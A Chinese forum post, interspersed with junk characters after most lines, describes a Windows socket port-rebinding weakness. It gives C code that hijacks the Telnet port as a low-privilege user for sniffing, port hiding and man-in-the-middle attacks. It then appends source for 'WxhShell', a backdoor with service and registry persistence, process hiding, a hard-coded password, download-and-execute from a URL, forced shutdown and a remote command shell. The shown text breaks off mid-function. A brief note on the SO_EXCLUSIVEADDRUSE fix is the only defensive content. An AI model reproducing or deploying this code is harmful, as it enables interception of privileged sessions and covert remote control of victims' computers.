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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {%b }Z2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mS%4gx~~_n  
lb~E0U`\E`  
  saddr.sin_family = AF_INET; iW;i!,  
5~+XZA#2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NTmi 2c  
WUEHB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \Q&,ISO\  
nY_?Jq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 VWi2(@R^  
!tNd\ }@  
  这意味着什么?意味着可以进行如下的攻击: !aNh!  
ONX8}Ob~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +e P.s_t  
W7=V{}b+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2Y OKM #N]  
T_;]fPajjD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DlTR|(AL  
w? LrJ37u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |`O7nOM  
`rb>K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4(cJ^]wb^  
g "hJ{{<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B4g8 ~f  
XOy2lJ/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w%a8XnW]1  
GABQUmtH  
  #include PJLR<9  
  #include {f DTSr?/  
  #include vF4]ux&  
  #include    |L::bx(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kV&9`c+  
  int main() aeP[+I9  
  { %Mn.e a  
  WORD wVersionRequested; u\1>gDI)|  
  DWORD ret; H!)=y  
  WSADATA wsaData; x_MJJ(q8g  
  BOOL val; +K~NV?c  
  SOCKADDR_IN saddr; #VGjCEeU  
  SOCKADDR_IN scaddr; ,EpH4*e  
  int err; aFj.i8+  
  SOCKET s; 4n0xE[-  
  SOCKET sc; /)>S<X  
  int caddsize; <l,o&p,>|c  
  HANDLE mt; u0o'K9.r  
  DWORD tid;   NwlU%{7W6  
  wVersionRequested = MAKEWORD( 2, 2 ); xJwG=$o  
  err = WSAStartup( wVersionRequested, &wsaData ); K'5'}Lb5k  
  if ( err != 0 ) { },@^0UH4c  
  printf("error!WSAStartup failed!\n"); Ykqyk')wm  
  return -1; bzZ>lyH  
  } y$W|~ H   
  saddr.sin_family = AF_INET; V@vU"  
   J CGC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y&.UIosWb  
{b)~V3rsY  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZcE_f>KV  
  saddr.sin_port = htons(23); Vb|#MNf)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rN/| (@  
  { :aAEJ  
  printf("error!socket failed!\n"); n,'OiVl[  
  return -1; h9s >LY  
  } &1|?BZv  
  val = TRUE; K>/%X!RW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "3CJUr:Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (bp9Pjw  
  { D=r))  
  printf("error!setsockopt failed!\n"); O9M{  ).  
  return -1; 0s#Kp49-  
  } MGpt}|t-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;#/@+4@a&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f3MRD4+-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &&> tf%[  
P9Q~r<7n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !CTxVLl"F  
  { J([s5:.[  
  ret=GetLastError(); ~Bi_7 Q  
  printf("error!bind failed!\n"); U7 @AC}.+  
  return -1; vGy8Qu>  
  } i[jJafAcN  
  listen(s,2); K=::)/{P  
  while(1) 6xK[34~ 6  
  { lSwcL  
  caddsize = sizeof(scaddr); ,:Z^$  
  //接受连接请求 O[^%{'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <O<LYN+(  
  if(sc!=INVALID_SOCKET) (!L5-8O  
  { 4u;9J*r4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); */qtzt  
  if(mt==NULL) 4,Ic}CvM  
  { (N-RIk73/O  
  printf("Thread Creat Failed!\n"); =uHnRY  
  break; !^oV #  
  } kOwMs<1J  
  } friWW ^  
  CloseHandle(mt); 1c4/}3*  
  } k%c{ETdE  
  closesocket(s); dUrElXbXd  
  WSACleanup(); ;|T!#@j  
  return 0; &)d$t'7p  
  }   BR`ygrfe  
  DWORD WINAPI ClientThread(LPVOID lpParam) df}r% i  
  { y&~w2{a  
  SOCKET ss = (SOCKET)lpParam; Vv.r8IGYm  
  SOCKET sc; :ue:QSt(u  
  unsigned char buf[4096]; *|.0Myjo  
  SOCKADDR_IN saddr; gmKGy@]  
  long num; =W bOwI)u  
  DWORD val; nQX+pkJ  
  DWORD ret; g#]" hn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3f.b\4 U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f"[J "j8  
  saddr.sin_family = AF_INET; *D}0 [|O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f5*k7fg  
  saddr.sin_port = htons(23); <*ZJaBwWU~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4rT*tW"U  
  { JCx WWre  
  printf("error!socket failed!\n"); +j_ ;(Gw7  
  return -1; |y;}zQB-dH  
  } 3981ie  
  val = 100; VZr>U*J[:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {Bs~lC$  
  { ]B"'}%>ez  
  ret = GetLastError(); jdZ~z#`(!:  
  return -1; M-L2w"  
  } E907fX[R~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ix@&$!'k  
  { e1(Q(3  
  ret = GetLastError(); f ),TO  
  return -1; x5`br.b  
  } |:[tNs*,O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K%<j=c  
  { g6@Fp7T  
  printf("error!socket connect failed!\n"); c .3ZXqpI;  
  closesocket(sc); ,u }XW V  
  closesocket(ss); 6oaazB^L  
  return -1; h!~3Dw>,N  
  } o+`6LKg;  
  while(1) 3`d}~v{  
  { ?_x q-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s^0/"j|7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qf@q]wtar  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8KB>6[H!wE  
  num = recv(ss,buf,4096,0); sQ6 }\  
  if(num>0) 4(e59ZgY  
  send(sc,buf,num,0); ;__9TN  
  else if(num==0) ~vmd XR`'T  
  break; ~CB[9D=  
  num = recv(sc,buf,4096,0); MObt,[^W  
  if(num>0) Nk=JBIsKv  
  send(ss,buf,num,0); ]V %.I_  
  else if(num==0) D0k 8^  
  break; e0@ 6Pd  
  } H1<>NWm!v7  
  closesocket(ss); 3~,d+P  
  closesocket(sc); mK+IEZV<3  
  return 0 ; >_rha~   
  } 3czeTj  
z,qRcO&  
$vHU$lZ/W  
========================================================== ?88[|;b3  
.)}@J5 P)  
下边附上一个代码,,WXhSHELL (8v7|Pe8  
w%WF-:u7|  
========================================================== }X x(^Zh  
A(?\>X 9g  
#include "stdafx.h" 1(|D'y#  
hjaT^(Y  
#include <stdio.h> .s#;s'>g  
#include <string.h> FMkOo2{  
#include <windows.h> >fH=DOz$&  
#include <winsock2.h> u` oq(?|  
#include <winsvc.h> Fk(JSiU  
#include <urlmon.h> ?)bS['^1)  
|mdi]TL  
#pragma comment (lib, "Ws2_32.lib") D9`0Dr}/2  
#pragma comment (lib, "urlmon.lib") kb[P\cRa  
iA8U Yd3Q  
#define MAX_USER   100 // 最大客户端连接数 ~m|Mg9-  
#define BUF_SOCK   200 // sock buffer KIR'$ 6pn~  
#define KEY_BUFF   255 // 输入 buffer T+N|R  
[M.f-x:  
#define REBOOT     0   // 重启 k >t )g-,2  
#define SHUTDOWN   1   // 关机 (`SRJ$~f  
USFD y  
#define DEF_PORT   5000 // 监听端口 )o\jJrVDf  
UzXE_ S  
#define REG_LEN     16   // 注册表键长度 zBO(`=|  
#define SVC_LEN     80   // NT服务名长度 [((;+B  
J=pztASt  
// 从dll定义API i)#s.6.D>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LL|7rS|o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,J`'Y+7W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AuR$g7z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d Le-nF  
.{;Y'Zc14S  
// wxhshell配置信息 ix#epuN  
struct WSCFG { F4<O2!V  
  int ws_port;         // 监听端口 ?<G]&EK~~]  
  char ws_passstr[REG_LEN]; // 口令 e/->_T(I  
  int ws_autoins;       // 安装标记, 1=yes 0=no -P&6L\V  
  char ws_regname[REG_LEN]; // 注册表键名 Lm@vXgMD  
  char ws_svcname[REG_LEN]; // 服务名 "V&+7"Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `"qP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,f1q)Qf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DE2a5+^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rP!#RzL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^z,_+},a3T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iCHt1VV]  
Bi@&nAhn@  
}; WM)-J^)BJ  
qF 9NQ;  
// default Wxhshell configuration k</%YKk  
struct WSCFG wscfg={DEF_PORT, s?ko?qN(  
    "xuhuanlingzhe", _|"Y]:j_  
    1, -l%J/:  
    "Wxhshell", 7LO%#No",  
    "Wxhshell", C/(M"j M  
            "WxhShell Service", z>w`ZD}XY  
    "Wrsky Windows CmdShell Service", N)&4Hy  
    "Please Input Your Password: ", CRbdAqofV  
  1, fX jG5Tv  
  "http://www.wrsky.com/wxhshell.exe", w '3#&k+  
  "Wxhshell.exe" E~LT b) !  
    }; 9b?SHzAa  
nenU)*o  
// 消息定义模块 Mwgu93?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lo'W1p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q5>v'ZSo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F@R1:M9*  
char *msg_ws_ext="\n\rExit."; ~tOAT;g}q  
char *msg_ws_end="\n\rQuit."; Q[+ac*F=Y  
char *msg_ws_boot="\n\rReboot..."; 31EyDU,W  
char *msg_ws_poff="\n\rShutdown..."; &qS[%K )  
char *msg_ws_down="\n\rSave to "; w`l{LHrR  
y>*xVK{D  
char *msg_ws_err="\n\rErr!"; S$2b>#@UJ  
char *msg_ws_ok="\n\rOK!"; K(XN-D/c  
W+*5"h  
char ExeFile[MAX_PATH]; *m2=/Sh  
int nUser = 0; *Z_C4Tj  
HANDLE handles[MAX_USER]; ,t)x{I;C)  
int OsIsNt; U35AX9/  
\;rYo.+  
SERVICE_STATUS       serviceStatus; lC=~$c:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;(}V"i7Hu  
au,t%8AC  
// 函数声明 ^<X@s1^#  
int Install(void); t<n"-Tqu  
int Uninstall(void); y<b{Ji e  
int DownloadFile(char *sURL, SOCKET wsh); sl2@umR7%(  
int Boot(int flag); p">EHWc}D  
void HideProc(void); P,sjo u^  
int GetOsVer(void); j[Uxa   
int Wxhshell(SOCKET wsl); 9}z0J  
void TalkWithClient(void *cs); QM?#{%31  
int CmdShell(SOCKET sock); XT;u<aJs  
int StartFromService(void); r!,}Z=cGe  
int StartWxhshell(LPSTR lpCmdLine); fvb=#58N_  
tl'n->G>v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i|1^+;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qYhs|tY)  
D/h/Y) Y  
// 数据结构和表定义 Jjl`_X$CB  
SERVICE_TABLE_ENTRY DispatchTable[] = )Fb>8<%  
{ /*|oL# hK  
{wscfg.ws_svcname, NTServiceMain}, ~{}#)gGU  
{NULL, NULL} ki>~H!zB  
}; #2iD'>bQ  
v`1,4,;,qs  
// 自我安装 |a{Q0:  
int Install(void) )/t?!T.[  
{ LL$_zK{  
  char svExeFile[MAX_PATH]; Ged[#Q  
  HKEY key; lDmtQk-SN  
  strcpy(svExeFile,ExeFile); r\;ut4wy  
YIR R=qpn  
// 如果是win9x系统,修改注册表设为自启动 W-/}q0h  
if(!OsIsNt) { j5I`a 1j`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hR5_+cuIp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q]o C47(  
  RegCloseKey(key); ItVugI(^ C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .CSS}4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `-3o+ID\  
  RegCloseKey(key); BPr ^D0P  
  return 0; xJ2*LM-  
    } Ma| qHg  
  } I}2P>)K  
} )!tK[K?5  
else { =vT<EW}[  
;E ec5w1  
// 如果是NT以上系统,安装为系统服务 @* il3h,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FYS/##r  
if (schSCManager!=0) /s];{m|>  
{ >&!RWH9*q  
  SC_HANDLE schService = CreateService vy,&N^P  
  ( $)H@|< K  
  schSCManager, ,YhdY 6  
  wscfg.ws_svcname, Cye$H9 2  
  wscfg.ws_svcdisp, ={?v Ab:  
  SERVICE_ALL_ACCESS, 7H>@iI"?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n[YEOkiG  
  SERVICE_AUTO_START, yz2Ci0Dwy  
  SERVICE_ERROR_NORMAL, :iR \%  
  svExeFile, !gnj]k&/c  
  NULL, o->\vlbD  
  NULL, $Ci0I+5w  
  NULL, Zf7&._y.  
  NULL, hp"L8w  
  NULL ^t7x84jhL  
  ); g/CxXSv@0  
  if (schService!=0) 5'a3huRtV  
  { b3YO!cJ  
  CloseServiceHandle(schService); |y<),j6  
  CloseServiceHandle(schSCManager); 5d@t7[]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ()sTb>L  
  strcat(svExeFile,wscfg.ws_svcname); JY!l!xH(6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7=]i~7uy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q.2(OP>(  
  RegCloseKey(key); wM[~2C=vx  
  return 0; bxK(9.  
    } E+C5 h ;p&  
  } i@NqC;~;  
  CloseServiceHandle(schSCManager); 4 g. bR  
} 1009ES7*  
}  'Pvm8t  
L !4t[hhe=  
return 1; Q!,<@b)  
} $;G{Pyp  
/=uMk]h  
// 自我卸载 Vx_rc%'  
int Uninstall(void) f.GETw  
{ a{Esw`  
  HKEY key; ;IK[Y{W/  
lt$zA%`odc  
if(!OsIsNt) { . |*f!w}5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H UoyLy  
  RegDeleteValue(key,wscfg.ws_regname); !6&W,0<  
  RegCloseKey(key); `MP|Ovns:H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fA48(0p  
  RegDeleteValue(key,wscfg.ws_regname); fri0XxF  
  RegCloseKey(key); mW%?>Z1=>d  
  return 0; kj5Q\vr)  
  } .lhn;*Yi  
} ^[Cv26  
} w<9>Q1(  
else { 5BR5X\f0  
juBw5U<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;d$qc<2uA  
if (schSCManager!=0) VGL#!4wK  
{ ~"Gf<3^y+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $N2SfyX7  
  if (schService!=0) 1xf=_F0`&  
  { \n0Oez0z!B  
  if(DeleteService(schService)!=0) { A~nf#(!^]  
  CloseServiceHandle(schService); i~J;G#b  
  CloseServiceHandle(schSCManager); YGc^h(d  
  return 0; ?t@v&s  
  } h;lirvO|  
  CloseServiceHandle(schService); *b}>cn)<v  
  } e$c?}3E!z  
  CloseServiceHandle(schSCManager); (SVWdgb  
} -oz`"&%  
} ^BZkHAp  
bU 63X={  
return 1; 0^'B3$>  
} 0i[zup  
\bCX=E-  
// 从指定url下载文件 8 6QE /M  
int DownloadFile(char *sURL, SOCKET wsh) @+U,Nzd  
{ b{DiM098  
  HRESULT hr; PC c|}*b  
char seps[]= "/"; =G~~?>=@2  
char *token; !A8^Xmz"  
char *file; -G &_^"=R  
char myURL[MAX_PATH]; HEqWoV]{d  
char myFILE[MAX_PATH]; K7I&sS^x  
04!(okubyp  
strcpy(myURL,sURL); 7:=5"ScV  
  token=strtok(myURL,seps); y'ja< 1I>  
  while(token!=NULL) wxLXh6|6%_  
  { 6`\]derSon  
    file=token; y%]8'q$  
  token=strtok(NULL,seps); ,(G%e  
  } f]~c)P Cs  
} wSi~^*  
GetCurrentDirectory(MAX_PATH,myFILE); h!&sNzX  
strcat(myFILE, "\\"); PU9`<3z5  
strcat(myFILE, file); j*T]HaM  
  send(wsh,myFILE,strlen(myFILE),0); (\puf+  
send(wsh,"...",3,0); [-*F"}D,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~#:e*:ro  
  if(hr==S_OK) lhC6S'vq  
return 0;  V[pvJ(  
else x2|6   
return 1; P4 ul[zZ  
,gnQa  
} LE?u`i,e=+  
!a1i Un9  
// 系统电源模块 VS?@y/\In  
int Boot(int flag) T#:F]=  
{ vd#,DU=p!  
  HANDLE hToken; 2>S~I"o0  
  TOKEN_PRIVILEGES tkp; ?3sT" r_d@  
MWuXI1  
  if(OsIsNt) { Y ?]G}5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F>|9 52  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {gf>*  
    tkp.PrivilegeCount = 1; e{G_GycH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PX".Km p.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ApPy]IdwX  
if(flag==REBOOT) { yeD_j/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'Tb0-1S?  
  return 0; c-XLI  
} FYPz 4K  
else { E(+T*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )&W|QH=AI  
  return 0; ^>~dlS  
} !^U6Z@&/R  
  } {j(4m  
  else { eNySJf  
if(flag==REBOOT) { &J"YsY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h\ ,5/ )Y  
  return 0; VlW9UF-W  
} 'zSgCgCHX8  
else { hQh9ok8S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z$K+ 7>^  
  return 0; j~ym<-[{a  
} m^!Sv?hV  
} yYAnwf  
}$&WC:Lg  
return 1; s*,cF6  
} sz09+4h#  
bLG]Wa  
// win9x进程隐藏模块 Wb=Jj 9;  
void HideProc(void) z<C[nR$N  
{ ]H2R  
=xEk7'W6k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cV$lobqO  
  if ( hKernel != NULL ) H$!-f>Rxa  
  { 'ND36jHcRD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FuP}Kec  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m% bE-#  
    FreeLibrary(hKernel); jOv"<  
  } ;R1B9-,  
l[n@/%2  
return; <A~GW 'HB  
} ZL91m`r  
,zgNE*{Y"4  
// 获取操作系统版本 uIP iM8(  
int GetOsVer(void) =Q?f96T  
{ {*=E?oF@  
  OSVERSIONINFO winfo; , p0KLU\-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EnscDtf(  
  GetVersionEx(&winfo); <*@~n- R$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GEE ]Kr  
  return 1; dXP6"V@iI  
  else 9={N4}<  
  return 0; >iy^$bqF  
} >a]t<  
' Js?N  
// 客户端句柄模块 eOrYa3hQ  
int Wxhshell(SOCKET wsl) QP\yaPE  
{ \.>.c g  
  SOCKET wsh; ]t/f<jKN^  
  struct sockaddr_in client; :::>ro*R  
  DWORD myID; 5-p.MGso  
CX+9R3pa  
  while(nUser<MAX_USER) g3rRhS  
{ ltEF:{mLe#  
  int nSize=sizeof(client); {'IFWD.5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {% F`%_{"  
  if(wsh==INVALID_SOCKET) return 1; Z\!rH "8  
*( *z|2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7Dl%UG]  
if(handles[nUser]==0) N$'>XtO  
  closesocket(wsh); b[g.}'^yht  
else {,f[r*{Y  
  nUser++; P3$,ca'  
  } G ]lvHD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^gm>!-Gx  
A7'bNd6f9  
  return 0; 5^F]tRz-  
} fOW_h  
??I:H  
// 关闭 socket jaqV[*440U  
void CloseIt(SOCKET wsh) Ygx,t|?7  
{ 4$i}Xk#3  
closesocket(wsh); 6F ;Or  
nUser--; ,I39&;Iq  
ExitThread(0); G7Ny"{Z  
} [a NhP;<  
Q [:<S/w  
// 客户端请求句柄 R9=K(pOT  
void TalkWithClient(void *cs) e`ex]py<C  
{ !w=,p.?V=  
P!>g7X  
  SOCKET wsh=(SOCKET)cs; 3uO8v{`  
  char pwd[SVC_LEN]; [0op)Kn  
  char cmd[KEY_BUFF]; PSEWL6=]N  
char chr[1]; ?360SQ<  
int i,j; w -dI<s  
[|z'"Gk{  
  while (nUser < MAX_USER) { WgZ@N  
".M:`BoW4  
if(wscfg.ws_passstr) { 28+HKbgK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @H4wHlb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kd`YSkZ  
  //ZeroMemory(pwd,KEY_BUFF); EP0a1.C  
      i=0; &NP6%}bR`  
  while(i<SVC_LEN) { ~*kK4]lP  
bZXlJa`'S  
  // 设置超时 . =R=cA7  
  fd_set FdRead; 5*XH6g F  
  struct timeval TimeOut; _Ff".t<"  
  FD_ZERO(&FdRead); 7?"9J `*  
  FD_SET(wsh,&FdRead); H` Lu"EK  
  TimeOut.tv_sec=8; |YXG(;-BS  
  TimeOut.tv_usec=0; [ )k2=67  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `OLB';D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /xf.\Z7<  
U TS{H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wKLN:aRF2  
  pwd=chr[0]; .> ,Z k S  
  if(chr[0]==0xd || chr[0]==0xa) { XJ\_ V[WA  
  pwd=0; 7H?! RYrx  
  break; _0*=u$~R  
  } ,L~snR'w  
  i++; >E~~7Yal  
    } g6`.qyVfz'  
bx]1 4}6  
  // 如果是非法用户,关闭 socket \aB&{`iG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G "c/a8  
} c*jr5 Y  
acy"ct*I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4zwif&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5Ny0b|+p  
6<+8}`@B>G  
while(1) { ) _ #T c  
|/t K-c6J  
  ZeroMemory(cmd,KEY_BUFF); JQr36U  
]ci RiMkT(  
      // 自动支持客户端 telnet标准   Qv74?B@  
  j=0; H'']J9O  
  while(j<KEY_BUFF) { Mi;Tn;3er  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :g/{(#E@Z  
  cmd[j]=chr[0]; {YfYIt=.  
  if(chr[0]==0xa || chr[0]==0xd) { DSTx#*  
  cmd[j]=0; !Am =v=>  
  break; nT)~w s  
  } 'oT|cmlc  
  j++; hPS/CgLq  
    } }0krSzcn#,  
EtPgzw[#c9  
  // 下载文件 =$[W,+X6f  
  if(strstr(cmd,"http://")) { cUYX1a)8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9/^d~ ZO  
  if(DownloadFile(cmd,wsh)) we @Yw6<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y.%i  
  else cx<h_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vDWr|M%``l  
  } EyzY2>"^  
  else { }&=uZ:  
sM<:C  
    switch(cmd[0]) { 5'),)  
  f)qPFM]%z  
  // 帮助 zab w!@]  
  case '?': { %jpH:-8'2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %OTQRe:  
    break; BR%{bY^ 5p  
  } 0VG^GKmx  
  // 安装 &#$2;-q8+  
  case 'i': { Xk;Uk[  
    if(Install()) wX@H &)<s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L/c4"f|.*v  
    else 3KR2TcT#{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |:{g?4Mi  
    break; 9j9Y Q2  
    } 5X#i65_-  
  // 卸载 7ucx6J]c  
  case 'r': { .`b4h"g:  
    if(Uninstall()) q=J9L Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -i2D#i'  
    else Z+OAs0}mV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T<! \B]  
    break; 9$n+-GSK  
    } 7O]J^H+7  
  // 显示 wxhshell 所在路径 "Wxo[I  
  case 'p': { 1*TXDo_T  
    char svExeFile[MAX_PATH]; OA\vT${5  
    strcpy(svExeFile,"\n\r"); hYs82P|2Ol  
      strcat(svExeFile,ExeFile); ?=TL2"L  
        send(wsh,svExeFile,strlen(svExeFile),0); +!D=SnBGs  
    break; tuX =o  
    } `" i^'VL,  
  // 重启 EolE?g@l8  
  case 'b': { B!$V\Gs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cu) @P0I  
    if(Boot(REBOOT)) [%HYh7ua<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .dy#n`eP  
    else { 9<+;hH8J_r  
    closesocket(wsh); vQ?MM&6  
    ExitThread(0); mrw]yu;2<n  
    } 8') .o hD  
    break; };4pZceV  
    } ~5x4?2  
  // 关机 ~NTDG  
